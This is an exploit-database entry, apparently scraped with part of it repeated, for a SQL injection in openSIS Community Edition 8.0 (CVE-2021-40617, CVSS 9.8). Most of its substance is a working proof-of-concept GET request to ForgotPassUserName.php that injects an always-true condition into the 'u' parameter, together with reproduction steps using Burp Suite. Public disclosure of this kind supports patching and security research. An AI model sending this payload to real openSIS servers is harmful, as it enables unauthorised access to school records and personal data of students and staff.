9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
Exploit Title: openSIS Community Edition 8.0 - SQL Injection Date: 2025-11-25 Exploit Author: CodeSecLab Vendor Homepage: https://github.com/OS4ED/openSIS-Classic Software Link: https://github.com/OS4ED/openSIS-Classic Version: 8.0 Tested on: Windows...
Basic Information
ID
EDB-ID:52447
Published
Dec 3, 2025 at 00:00
Affected Product
Affected Versions
# Exploit Title: openSIS Community Edition 8.0 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/OS4ED/openSIS-Classic
# Software Link: https://github.com/OS4ED/openSIS-Classic
# Version: 8.0
# Tested on: Windows
# CVE : CVE-2021-40617
Proof Of Concept
GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1
Host: opensis
Connection: close
Steps to Reproduce
Login as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
Observe the result
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/OS4ED/openSIS-Classic
# Software Link: https://github.com/OS4ED/openSIS-Classic
# Version: 8.0
# Tested on: Windows
# CVE : CVE-2021-40617
Proof Of Concept
GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1
Host: opensis
Connection: close
Steps to Reproduce
Login as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
Observe the result